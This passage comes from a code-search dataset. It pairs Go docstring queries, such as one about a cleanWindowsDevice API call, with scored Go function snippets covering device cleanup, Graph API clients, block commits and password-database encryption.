bc.dao.putReceipts(blk.Height(), blk.Receipts)\n\t\treceiptTimer.End()\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"failed to put smart contract receipts into DB on height %d\", blk.Height())\n\t\t}\n\t}\n\tblk.HeaderLogger(log.L()).Info(\"Committed a block.\", log.Hex(\"tipHash\", bc.tipHash[:]))\n\n\t// emit block to all block subscribers\n\tbc.emitToSubscribers(blk)\n\treturn nil\n}", "title": "" }, { "docid": "08039b38662637f86eabc06f69e82ee8", "score": "0.57589287", "text": "func (db *V3) Encrypt(writer io.Writer) (int, error) {\n\tvar dbBytes []byte\n\n\t// Set unencrypted DB headers\n\tdbBytes = append(dbBytes, \"PWS3\"...)\n\n\t//update the LastSave time in the DB\n\tdb.LastSave = time.Now()\n\n\t// Add salt and iter neither of which can change without knowing the password as the stretchedkey will need recalculating.\n\t// use db.SetPassword() to change the password\n\tdbBytes = append(dbBytes, db.Salt[:]...)\n\tdbBytes = append(dbBytes, intToBytes(int(db.Iter))...)\n\n\t// Add the stretchedKey Hash and refresh the encryption keys adding them encrypted\n\tstretchedSha := sha256.Sum256(db.StretchedKey[:])\n\tdbBytes = append(dbBytes, stretchedSha[:]...)\n\tdbBytes = append(dbBytes, db.refreshEncryptedKeys()...)\n\n\t// calculate and add cbc initial value\n\t_, err := rand.Read(db.CBCIV[:])\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tdbBytes = append(dbBytes, db.CBCIV[:]...)\n\n\t// marshal the core db values\n\tvar unencryptedBytes []byte\n\tdb.Version = [2]byte{0x10, 0x03} // DB Format version 0x0310\n\t// Note the version field needs to be first and is required\n\theaderFields := structs.Fields(db)\n\t//todo it is a bad assumption that version is the last item in the slice, fix so version is first\n\t//ordered := structs.Fields(db)\n\t//headerFields := append(ordered[:len(ordered)-2], ordered[len(ordered)-1])\n\n\theaderBytes, headerValues := marshalRecord(headerFields)\n\tunencryptedBytes = append(unencryptedBytes, headerBytes...)\n\n\trecordBytes, recordValues := db.marshalRecords()\n\tunencryptedBytes = append(unencryptedBytes, recordBytes...)\n\n\t// encrypt and write the dbBlocks\n\tdbTwoFish, _ := twofish.NewCipher(db.EncryptionKey[:])\n\tcbcTwoFish := cipher.NewCBCEncrypter(dbTwoFish, db.CBCIV[:])\n\tfor i := 0; i < len(unencryptedBytes); i += twofish.BlockSize {\n\t\tblock := unencryptedBytes[i : i+twofish.BlockSize]\n\t\tencrypted := make([]byte, twofish.BlockSize)\n\t\tcbcTwoFish.CryptBlocks(encrypted, block)\n\t\tdbBytes = append(dbBytes, encrypted...)\n\t}\n\n\t// Add the EOF and HMAC\n\tdbBytes = append(dbBytes, []byte(\"PWS3-EOFPWS3-EOF\")...)\n\thmacBytes := append(headerValues, recordValues...)\n\tdb.calculateHMAC(hmacBytes)\n\tdbBytes = append(dbBytes, db.HMAC[:]...)\n\n\t// Write out the db\n\tbytesWritten, err := writer.Write(dbBytes)\n\treturn bytesWritten, err\n}", "title": "" } ]
a0aef0349872191f965ad6cb88e4c24e
CleanWindowsDevice provides operations to call the cleanWindowsDevice method.
[ { "docid": "c5127b835854f4096362d95a6166f049", "score": "0.6825557", "text": "func (m *ItemManagedDevicesManagedDeviceItemRequestBuilder) CleanWindowsDevice()(*ItemManagedDevicesItemCleanWindowsDeviceRequestBuilder) {\n return NewItemManagedDevicesItemCleanWindowsDeviceRequestBuilderInternal(m.BaseRequestBuilder.PathParameters, m.BaseRequestBuilder.RequestAdapter)\n}", "title": "" } ]
[ { "docid": "17d43f47b71fe50c9984c57673fae576", "score": "0.58629453", "text": "func (a *MeActionsApiService) MeManagedDevicesCleanWindowsDevice(ctx _context.Context, managedDeviceId string, inlineObject297 InlineObject297) (*_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodPost\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/me/managedDevices({managedDevice-id})/cleanWindowsDevice\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"managedDevice-id\"+\"}\", _neturl.QueryEscape(fmt.Sprintf(\"%v\", managedDeviceId)), -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{\"application/json\"}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\t// body params\n\tlocalVarPostBody = &inlineObject297\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 0 {\n\t\t\tvar v OdataError\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarHTTPResponse, newErr\n\t\t}\n\t\treturn localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarHTTPResponse, nil\n}", "title": "" }, { "docid": "3a76037f402d58f61c21994d0e722fa3", "score": "0.50825673", "text": "func (s *SystemdPowerManager) Cleanup() error { return nil }", "title": "" }, { "docid": "69902b0c791bc74871c4447c704d3f0d", "score": "0.49803644", "text": "func (dh *DeviceHandler) DeleteDevice(device *voltha.Device) error {\n\tlog.Debug(\"Function entry delete device\")\n\tdh.lockDevice.Lock()\n\tif dh.adminState == \"deleted\" {\n\t\tdh.lockDevice.Unlock()\n\t\treturn nil\n\t}\n\tdh.adminState = \"deleted\"\n\tdh.lockDevice.Unlock()\n\t/* Clear the KV store data associated with the all the UNI ports\n\t This clears up flow data and also resource map data for various\n\t other pon resources like alloc_id and gemport_id\n\t*/\n\tif dh.resourceMgr != nil {\n\t\tnoOfPonPorts := dh.resourceMgr.DevInfo.GetPonPorts()\n\t\tvar ponPort uint32\n\t\tfor ponPort = 0; ponPort < noOfPonPorts; ponPort++ {\n\t\t\tvar onuGemData []rsrcMgr.OnuGemInfo\n\t\t\terr := dh.resourceMgr.ResourceMgrs[ponPort].GetOnuGemInfo(ponPort, &onuGemData)\n\t\t\tif err != nil {\n\t\t\t\tlog.Errorw(\"Failed to get onu info for port \", log.Fields{\"ponport\": ponPort})\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tfor _, onu := range onuGemData {\n\t\t\t\tlog.Debugw(\"onu data \", log.Fields{\"onu\": onu})\n\t\t\t\tif err = dh.clearUNIData(&onu); err != nil {\n\t\t\t\t\tlog.Errorw(\"Failed to clear data for onu\", log.Fields{\"onu-device\": onu})\n\t\t\t\t}\n\t\t\t}\n\t\t\tonuGemData = nil\n\t\t\terr = dh.resourceMgr.DelOnuGemInfoForIntf(ponPort)\n\t\t\tif err != nil {\n\t\t\t\tlog.Errorw(\"Failed to update onugem info\", log.Fields{\"intfid\": ponPort, \"onugeminfo\": onuGemData})\n\t\t\t}\n\t\t}\n\t\t/* Clear the flows from KV store associated with NNI port.\n\t\t There are mostly trap rules from NNI port (like LLDP)\n\t\t*/\n\t\tif err := dh.clearNNIData(); err != nil {\n\t\t\tlog.Errorw(\"Failed to clear data for NNI port\", log.Fields{\"device-id\": dh.deviceID})\n\t\t}\n\n\t\t/* Clear the resource pool for each PON port in the background */\n\t\tgo dh.resourceMgr.Delete()\n\t}\n\n\t/*Delete ONU map for the device*/\n\tdh.onus.Range(func(key interface{}, value interface{}) bool {\n\t\tdh.onus.Delete(key)\n\t\treturn true\n\t})\n\n\tlog.Debug(\"Removed-device-from-Resource-manager-KV-store\")\n\t// Stop the Stats collector\n\tdh.stopCollector <- true\n\t// stop the heartbeat check routine\n\tdh.stopHeartbeatCheck <- true\n\t//Reset the state\n\tif dh.Client != nil {\n\t\tif _, err := dh.Client.Reboot(context.Background(), new(oop.Empty)); err != nil {\n\t\t\tlog.Errorw(\"Failed-to-reboot-olt \", log.Fields{\"deviceID\": dh.deviceID, \"err\": err})\n\t\t\treturn err\n\t\t}\n\t}\n\tcloned := proto.Clone(device).(*voltha.Device)\n\tcloned.OperStatus = voltha.OperStatus_UNKNOWN\n\tcloned.ConnectStatus = voltha.ConnectStatus_UNREACHABLE\n\tif err := dh.coreProxy.DeviceStateUpdate(context.TODO(), cloned.Id, cloned.ConnectStatus, cloned.OperStatus); err != nil {\n\t\tlog.Errorw(\"error-updating-device-state\", log.Fields{\"deviceID\": device.Id, \"error\": err})\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "53ee774367cce267579cc5490d9c88d3", "score": "0.49702567", "text": "func CleanAll(paths ...string) error {\n\tfor _, p := range paths {\n\t\tisDevice, err := util.IsDevice(p)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif !isDevice {\n\t\t\t// Remove handles p not existing\n\t\t\tif err := os.RemoveAll(p); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c32c5f0a4625a93563c7a34492cc17bf", "score": "0.4926849", "text": "func (e *Execution) Clean(t testingT, dockerBinary string) {\n\tcli, err := client.NewEnvClient()\n\tif err != nil {\n\t\tt.Fatalf(\"%v\", err)\n\t}\n\tdefer cli.Close()\n\n\tif (e.DaemonPlatform() != \"windows\") || (e.DaemonPlatform() == \"windows\" && e.Isolation() == \"hyperv\") {\n\t\tunpauseAllContainers(t, dockerBinary)\n\t}\n\tdeleteAllContainers(t, dockerBinary)\n\tdeleteAllImages(t, dockerBinary, e.protectedElements.images)\n\tdeleteAllVolumes(t, cli)\n\tdeleteAllNetworks(t, cli, e.DaemonPlatform())\n\tif e.DaemonPlatform() == \"linux\" {\n\t\tdeleteAllPlugins(t, cli, dockerBinary)\n\t}\n}", "title": "" }, { "docid": "fd700072d8492b4002a2f4bf143877ff", "score": "0.48476726", "text": "func (w *workerState) unloadDevices() {\n\tw.Logger.Debug(\"Unloading devices\", common.LogSystemToken, logSystem)\n\tfor _, v := range w.devices {\n\t\tv.Unload()\n\t}\n}", "title": "" }, { "docid": "aa79c5ba2a10c1642f94d84948dd1225", "score": "0.481023", "text": "func Clean() {\n\tfmt.Println(\"Cleaning...\")\n\tos.RemoveAll(\"MyApp\")\n}", "title": "" }, { "docid": "c7ed2c86386d076c3b7131b392359401", "score": "0.47501412", "text": "func Clean() {\n\tlog.Println(\"Game // Cleaning up ...\")\n\n\tcurrentScene.Exit()\n\ttexture.Clean()\n\tinput.Clean()\n\trenderer.Destroy()\n\twindow.Destroy()\n}", "title": "" }, { "docid": "0c9d834a4e731a80143da2c484bac342", "score": "0.47491926", "text": "func CleanupDataOnDevice(devicePath string) error {\n\tfile, err := os.OpenFile(devicePath, os.O_WRONLY, 0644)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer file.Close()\n\tdevzero, err := os.Open(\"/dev/zero\")\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer devzero.Close()\n\tif _, err := io.Copy(file, devzero); err != nil {\n\t\t// We expect to stop when we get ENOSPC.\n\t\tif perr, ok := err.(*os.PathError); ok && perr.Err == syscall.ENOSPC {\n\t\t\treturn nil\n\t\t}\n\t\treturn err\n\t}\n\treturn fmt.Errorf(\"failed to see expected ENOSPC when erasing data\")\n}", "title": "" }, { "docid": "c37f7936869c5d7981472495fc24c968", "score": "0.4749188", "text": "func (m *DevicePlatformMutation) ClearPlatforms() {\n\tm.clearedplatforms = true\n}", "title": "" }, { "docid": "5d7f2230e76c3e56228ddcda8898d84e", "score": "0.4748145", "text": "func (u *DeviceListUpdater) CleanUp() error {\n\tstaleUsers, err := u.db.StaleDeviceLists(u.process.Context(), []spec.ServerName{})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tres := rsapi.QueryLeftUsersResponse{}\n\tif err = u.rsAPI.QueryLeftUsers(u.process.Context(), &rsapi.QueryLeftUsersRequest{StaleDeviceListUsers: staleUsers}, &res); err != nil {\n\t\treturn err\n\t}\n\n\tif len(res.LeftUsers) == 0 {\n\t\treturn nil\n\t}\n\tlogrus.Debugf(\"Deleting %d stale device list entries\", len(res.LeftUsers))\n\treturn u.db.DeleteStaleDeviceLists(u.process.Context(), res.LeftUsers)\n}", "title": "" }, { "docid": "69ae509265e1f959c076a53808d27285", "score": "0.47217885", "text": "func Clean() {\n\tfmt.Println(\"Cleaning...\")\n\tos.RemoveAll(\"bin\")\n}", "title": "" }, { "docid": "5ac1c59d761bbe2b2b77f37a7ac9e40b", "score": "0.47094503", "text": "func (s *SetupConfiguration) Cleanup() {\n\tlog.Printf(\"Running Cleanup\\n\")\n\n\tclient := s.NewClient()\n\ts.mu.Lock()\n\tdefer s.mu.Unlock()\n\n\t// Remove all the devices that were created during testing\n\tfor _, mo := range s.Devices {\n\t\t_, err := client.Inventory.Delete(context.Background(), mo.ID)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Could not remove the id. %s\", err)\n\t\t}\n\t}\n\ts.Devices = nil\n\n\t// Cleanup the microservices that were created\n\tfor _, ms := range s.Microservices {\n\t\tms.DeleteMicroserviceAgent()\n\n\t\tlog.Printf(\"Deleting application id=%s\", ms.Application.ID)\n\t\tif _, err := client.Application.Delete(\n\t\t\tcontext.Background(),\n\t\t\tms.Application.ID,\n\t\t); err != nil {\n\t\t\tlog.Printf(\"Failed to delete microservice application. %s\", err)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "7bf23a9d09c527b6765700c399113eca", "score": "0.47062406", "text": "func (c *Configuration) clean() {\n\t//Get the OS\n\tfmt.Println(runtime.GOOS)\n\t//Fix path if Windows\n\tvar err error\n\tc.OutDir, err = filepath.Abs(c.OutDir)\n\tif err != nil {\n\t\tpanic(\"Unable to get absolute out directory path.\")\n\t}\n}", "title": "" }, { "docid": "b73684e426421ce72d8e1fed84f62209", "score": "0.46732315", "text": "func Clean() { // nolint: deadcode\n\tfmt.Println(\"Cleaning...\")\n\tsh.Run(goexe, \"clean\", \"-x\")\n\tsh.Rm(\"build\")\n\tsh.Rm(\"dist\")\n\tsh.Rm(\"coverage.out\")\n\tsh.Rm(\"coverage-all.out\")\n}", "title": "" }, { "docid": "80ce5430cb18e5f4b4c7b513be60523e", "score": "0.46711597", "text": "func removeAmsDeviceHelper(device string) bool {\n\tvar resp bool = false\n\n\tfor i := range terminalDeviceState {\n\t\tif i == device {\n\t\t\tresp = true\n\t\t}\n\t}\n\n\tfor i, v := range trackDevices {\n\t\tif v == device {\n\t\t\tif i < len(trackDevices)-1 {\n\t\t\t\ttrackDevices = append(trackDevices[:i], trackDevices[i+1:]...)\n\t\t\t} else {\n\t\t\t\ttrackDevices = trackDevices[:len(trackDevices)-1]\n\t\t\t}\n\t\t}\n\t}\n\n\treturn resp\n}", "title": "" }, { "docid": "ee27907882cf816fcf68c26b7797cef0", "score": "0.46308652", "text": "func (d *DeviceManager) DeviceClear() error {\n\td.deviceCerts = make(map[string]uuid.UUID)\n\td.devices = make(map[uuid.UUID]common.DeviceStorage)\n\treturn nil\n}", "title": "" }, { "docid": "9599856e6494f6ef900a5074f5011f01", "score": "0.4621194", "text": "func Clean() {\n\tlogger.Log(\"Cleaning...\")\n\txcb := xCodeBuild\n\txcb.Clean()\n}", "title": "" }, { "docid": "811650a4510615c5ee794cb1ca70af34", "score": "0.46203268", "text": "func (w *Window) Erase() {\n\tC.werase(w.win)\n}", "title": "" }, { "docid": "a09d57b835242b0eb63873816c396b2d", "score": "0.4606948", "text": "func (ws *Workspace) Clean() error {\n\tws.mu.Lock()\n\tdefer ws.mu.Unlock()\n\tif ws.removing {\n\t\treturn WorkspaceMarkedForRemovalError\n\t}\n\n\t// No task is currently assigned; nothing to clean.\n\tif ws.task == nil {\n\t\treturn nil\n\t}\n\n\t// If preserving the workspace, only remove outputs and leave other files\n\t// as-is.\n\tif ws.opts.Preserve {\n\t\tcmd := ws.task.GetCommand()\n\t\tfor _, path := range cmd.GetOutputFiles() {\n\t\t\tif err := os.RemoveAll(filepath.Join(ws.Path(), path)); err != nil && !os.IsNotExist(err) {\n\t\t\t\treturn status.UnavailableErrorf(\"Failed to clean workspace: %s\", err)\n\t\t\t}\n\t\t\t// In case this output path was specified as an input path previously,\n\t\t\t// delete it from known files.\n\t\t\tdelete(ws.Inputs, path)\n\t\t\t// TODO: If we remove an output file whose path previously pointed to\n\t\t\t// a directory, then we need to remove all `inputs` under that directory.\n\t\t}\n\t\tfor _, outputDirPath := range cmd.GetOutputDirectories() {\n\t\t\tif err := os.RemoveAll(filepath.Join(ws.Path(), outputDirPath)); err != nil && !os.IsNotExist(err) {\n\t\t\t\treturn status.UnavailableErrorf(\"Failed to clean workspace: %s\", err)\n\t\t\t}\n\t\t\t// Need to delete any known input files which lived under that\n\t\t\t// output directory.\n\t\t\t// TODO: This nested loop impl may slow down the action if there are a lot\n\t\t\t// of output directories. If this turns out to be an issue, might need to\n\t\t\t// optimize this further.\n\t\t\tfor inputPath, _ := range ws.Inputs {\n\t\t\t\tif isParent(outputDirPath, inputPath) {\n\t\t\t\t\tdelete(ws.Inputs, inputPath)\n\t\t\t\t}\n\t\t\t}\n\t\t\t// In case this output dir previously pointed to an input file, delete it\n\t\t\t// from the inputs index (this should be pretty uncommon).\n\t\t\tdelete(ws.Inputs, outputDirPath)\n\t\t}\n\t\treturn nil\n\t}\n\n\tif err := removeChildren(ws.Path()); err != nil {\n\t\treturn status.UnavailableErrorf(\"Failed to clean workspace: %s\", err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "a103293f6fa52eba5c4e1c5c35a257b9", "score": "0.46004677", "text": "func (m *DeviceManagement) SetWindowsMalwareInformation(value []WindowsMalwareInformationable)() {\n err := m.GetBackingStore().Set(\"windowsMalwareInformation\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "f86288ec863e4ae0e3a0233279bfd10b", "score": "0.45972162", "text": "func Clean() {\n\tfmt.Println(\"Cleaning...\")\n\tos.RemoveAll(\"drogo\")\n}", "title": "" }, { "docid": "354286a25c845793c12ec3f3dad74b57", "score": "0.45853108", "text": "func (w *Window) Clean(conservative bool) bool {\n\tif w.body.file.IsDirOrScratch() { // don't whine if it's a guide file, error window, etc.\n\t\treturn true\n\t}\n\tif !conservative && w.nopen[QWevent] > 0 {\n\t\treturn true\n\t}\n\tif w.body.file.TreatAsDirty() {\n\t\tif w.body.file.Name() != \"\" {\n\t\t\twarning(nil, \"%v modified\\n\", w.body.file.Name())\n\t\t} else {\n\t\t\tif w.body.Nc() < 100 { // don't whine if it's too small\n\t\t\t\treturn true\n\t\t\t}\n\t\t\twarning(nil, \"unnamed file modified\\n\")\n\t\t}\n\t\t// This toggle permits checking if we can safely destroy the window.\n\t\tw.body.file.TreatAsClean()\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" }, { "docid": "c3f32fc9310de7482e6d2f1d34545f1e", "score": "0.45815971", "text": "func (s *Signal) ClearWindow() {\n\tfor i := 0; i < s.windowSize; i++ {\n\t\ts.window[i] = 0.0\n\t}\n}", "title": "" }, { "docid": "0a7f4e74168cdf3b4cb21e129af134a9", "score": "0.45739165", "text": "func ClearWindow(windowWidth, windowHeight, layer int) {\n\tClearArea(0, 0, windowWidth, windowHeight, layer)\n}", "title": "" }, { "docid": "67d0e31444b8fcb40cd97e04ede23efc", "score": "0.4573879", "text": "func (s *DescribeClientBrandingOutput) SetDeviceTypeWindows(v *DefaultClientBrandingAttributes) *DescribeClientBrandingOutput {\n\ts.DeviceTypeWindows = v\n\treturn s\n}", "title": "" }, { "docid": "f2f2119f2482e3ded5804a18137c9e41", "score": "0.45548868", "text": "func Cleanup(ctx context.Context) error {\n\tif config.KeepResources() {\n\t\tlog.Println(\"Hybrid resources cleanup: keeping resources\")\n\t\treturn nil\n\t}\n\tlog.Println(\"Hybrid resources cleanup: deleting resources\")\n\t_, err := DeleteGroup(ctx)\n\treturn err\n}", "title": "" }, { "docid": "522df2ac057763127afdd317cb375feb", "score": "0.45392355", "text": "func Cleanup() error {\n\tif err := os.RemoveAll(installerTmpDir); err != nil {\n\t\treturn fmt.Errorf(\"Error %s during removeAll of %s\", err, installerTmpDir)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "b4276aa8e5ceeaa064c9dce510e84f1d", "score": "0.45353022", "text": "func (s *ImportClientBrandingOutput) SetDeviceTypeWindows(v *DefaultClientBrandingAttributes) *ImportClientBrandingOutput {\n\ts.DeviceTypeWindows = v\n\treturn s\n}", "title": "" }, { "docid": "f80e6e744d1638c61647eca979bb1a88", "score": "0.4534397", "text": "func (mounter *CSIProxyMounterV1) UnmountDevice(target string) error {\n\ttarget = mount.NormalizeWindowsPath(target)\n\tif exists, err := mounter.ExistsPath(target); !exists {\n\t\treturn err\n\t}\n\tidRequest := &volumeapi.GetVolumeIDFromTargetPathRequest{\n\t\tTargetPath: target,\n\t}\n\tidResponse, err := mounter.VolumeClient.GetVolumeIDFromTargetPath(context.Background(), idRequest)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvolumeId := idResponse.GetVolumeId()\n\n\tunmountRequest := &volumeapi.UnmountVolumeRequest{\n\t\tTargetPath: target,\n\t\tVolumeId: volumeId,\n\t}\n\t_, err = mounter.VolumeClient.UnmountVolume(context.Background(), unmountRequest)\n\tif err != nil {\n\t\treturn err\n\t}\n\trmdirRequest := &fsapi.RmdirRequest{\n\t\tPath: target,\n\t\tForce: true,\n\t}\n\t_, err = mounter.FsClient.Rmdir(context.Background(), rmdirRequest)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Set disk to offline mode to have a clean state\n\tgetDiskNumberRequest := &volumeapi.GetDiskNumberFromVolumeIDRequest{\n\t\tVolumeId: volumeId,\n\t}\n\tgetDiskNumberResponse, err := mounter.VolumeClient.GetDiskNumberFromVolumeID(context.Background(), getDiskNumberRequest)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdiskNumber := getDiskNumberResponse.GetDiskNumber()\n\tklog.V(4).Infof(\"get disk number %d from volume %s\", diskNumber, volumeId)\n\tsetDiskStateRequest := &diskapi.SetDiskStateRequest{\n\t\tDiskNumber: diskNumber,\n\t\tIsOnline: false,\n\t}\n\tif _, err = mounter.DiskClient.SetDiskState(context.Background(), setDiskStateRequest); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "074d88cf2d8122b75e004935a40533b3", "score": "0.45337555", "text": "func (s *ScratchArea) Cleanup() {\n\t_ = os.RemoveAll(s.TempDir)\n}", "title": "" }, { "docid": "85a77a72b8bd963997e3720bbd305676", "score": "0.45313326", "text": "func Clean() {\n\t_ = sh.Rm(\"dist\")\n}", "title": "" }, { "docid": "9545bc5ef7605efa95c9711943e0efe6", "score": "0.4510186", "text": "func (driver *StorageDriver) RemoveDevice(deviceName string, protocols map[string]contract.ProtocolProperties) error {\n\n\treturn nil\n}", "title": "" }, { "docid": "a268e00f8fd6767191d0aae3cf20d0bb", "score": "0.450981", "text": "func Cleanup() {\n\t_, err := util.Cmd(\"rmdir\", networkFolder)\n\tif err != nil {\n\t\tfmt.Println(\"Failed to remove the network folder!\")\n\t\tfmt.Println(err)\n\t}\n\n\tremoveBookmarks()\n}", "title": "" }, { "docid": "2bbbd44e6bec156949799bea3eb32073", "score": "0.4504859", "text": "func (b *Backend) Cleanup(ctx context.Context) {\n\tb.logger.Trace(\"cleaning\")\n\tif b.Clean != nil {\n\t\tb.Clean(ctx)\n\t}\n}", "title": "" }, { "docid": "e7d29e540258393a8adf9a969433dc1e", "score": "0.44994205", "text": "func Clean() {\n\tfmt.Println(\"Cleaning...\")\n\tos.RemoveAll(\"builds\")\n}", "title": "" }, { "docid": "c362b92fba095d0a81c7b31174aa5ecb", "score": "0.4480887", "text": "func (s *ImportClientBrandingInput) SetDeviceTypeWindows(v *DefaultImportClientBrandingAttributes) *ImportClientBrandingInput {\n\ts.DeviceTypeWindows = v\n\treturn s\n}", "title": "" }, { "docid": "008aabdf43fdb3640f1c6f8a1e1c9383", "score": "0.44712424", "text": "func demo3DeleteAmsDevice(w http.ResponseWriter, r *http.Request) {\n\tmutex.Lock()\n\tdefer mutex.Unlock()\n\n\tvar statusCode string = \"404\"\n\n\t// Path parameters\n\tvars := mux.Vars(r)\n\tdevice := vars[\"device\"]\n\n\tdeviceExist := removeAmsDeviceHelper(device)\n\tif !deviceExist {\n\t\tlog.Error(\"AMS Device does not exists, cannot remove!\")\n\t\tappActivityLogs = append(appActivityLogs, \"=== Remove AMS device (\"+device+\") [\"+statusCode+\"]\")\n\t\thttp.Error(w, \"AMS Device does not exists, cannot remove\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// Get AMS Resource\n\tregisterationInfo, _, err := amsClient.AmsiApi.AppMobilityServiceByIdGET(context.TODO(), amsResourceId)\n\tif err != nil {\n\t\tstatusCode = \"501\"\n\t\tappActivityLogs = append(appActivityLogs, \"=== Remove AMS device (\"+device+\") [\"+statusCode+\"]\")\n\t\tappActivityLogs = append(appActivityLogs, \"Remove \"+device+\" to AMS resource [\"+statusCode+\"]\")\n\t\tlog.Error(\"Failed to retrieve ams resource\", err.Error())\n\t\thttp.Error(w, \"Could not retrieve ams resource\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// Delete device in AMS resource\n\t_, err = amsDeleteDevice(amsResourceId, registerationInfo, device)\n\tif err != nil {\n\t\tstatusCode = \"501\"\n\t\tappActivityLogs = append(appActivityLogs, \"=== Remove AMS device (\"+device+\") [\"+statusCode+\"]\")\n\t\tappActivityLogs = append(appActivityLogs, \"Remove \"+device+\" to AMS resource [\"+statusCode+\"]\")\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\tfmt.Fprintf(w, \"Could not delete device from ams resource\")\n\t\tlog.Error(\"Could not delete device from ams resource\", err.Error())\n\t\treturn\n\t}\n\n\t// Update ams terminal device ordered added\n\tfor i := 0; i < len(orderedAmsAdded); i++ {\n\t\tif orderedAmsAdded[i] == device && i < len(orderedAmsAdded)-1 {\n\t\t\torderedAmsAdded = append(orderedAmsAdded[:i], orderedAmsAdded[i+1:]...)\n\t\t} else if orderedAmsAdded[i] == device {\n\t\t\torderedAmsAdded = orderedAmsAdded[:len(orderedAmsAdded)-1]\n\t\t}\n\t}\n\n\t// Update terminal device on ams pane\n\tdelete(terminalDevices, device)\n\tdelete(terminalDeviceState, device)\n\n\tstatusCode = \"201\"\n\tappActivityLogs = append(appActivityLogs, \"=== Remove AMS device (\"+device+\") [\"+statusCode+\"]\")\n\n\t// Delete device in AMS subscription\n\ttempId := demoAppInfo.Subscriptions.AmsLinkListSubscription.SubId\n\t// Get AMS subscription\n\tamsSubscriptionResp, _, err := amsClient.AmsiApi.SubByIdGET(context.TODO(), tempId)\n\tif err != nil {\n\t\tstatusCode = \"500\"\n\t\tappActivityLogs = append(appActivityLogs, \"Remove \"+device+\" to AMS resource [\"+statusCode+\"]\")\n\t\tlog.Error(\"Failed to retrieve ams subscription\", err.Error())\n\t\thttp.Error(w, \"Failed to retrieve ams subscription\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\tif amsSubscriptionResp.SubscriptionType == \"AdjacentAppInfoSubscription\" {\n\t\tstatusCode = \"400\"\n\t\tappActivityLogs = append(appActivityLogs, \"Remove \"+device+\" to AMS resource [\"+statusCode+\"]\")\n\t\tlog.Error(\"AdjacentAppInfoSubscription not suported\", err.Error())\n\t\thttp.Error(w, \"AdjacentAppInfoSubscription not suported\", http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tfor i, v := range amsSubscriptionResp.FilterCriteria.AssociateId {\n\t\tif v.Value == device {\n\t\t\tamsSubscriptionResp.FilterCriteria.AssociateId = append(amsSubscriptionResp.FilterCriteria.AssociateId[:i], amsSubscriptionResp.FilterCriteria.AssociateId[i+1:]...)\n\t\t}\n\t}\n\n\t// Update AMS subscription\n\t_, amsSubscriptionErr := updateAmsSubscription(tempId, \"\", amsSubscriptionResp)\n\tif amsSubscriptionErr != nil {\n\t\tstatusCode = \"500\"\n\t\tappActivityLogs = append(appActivityLogs, \"Remove \"+device+\" to AMS resource [\"+statusCode+\"]\")\n\t\tlog.Error(\"Failed to delete ams subscription\", err)\n\t\thttp.Error(w, \"Failed to delete ams subscription\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tstatusCode = 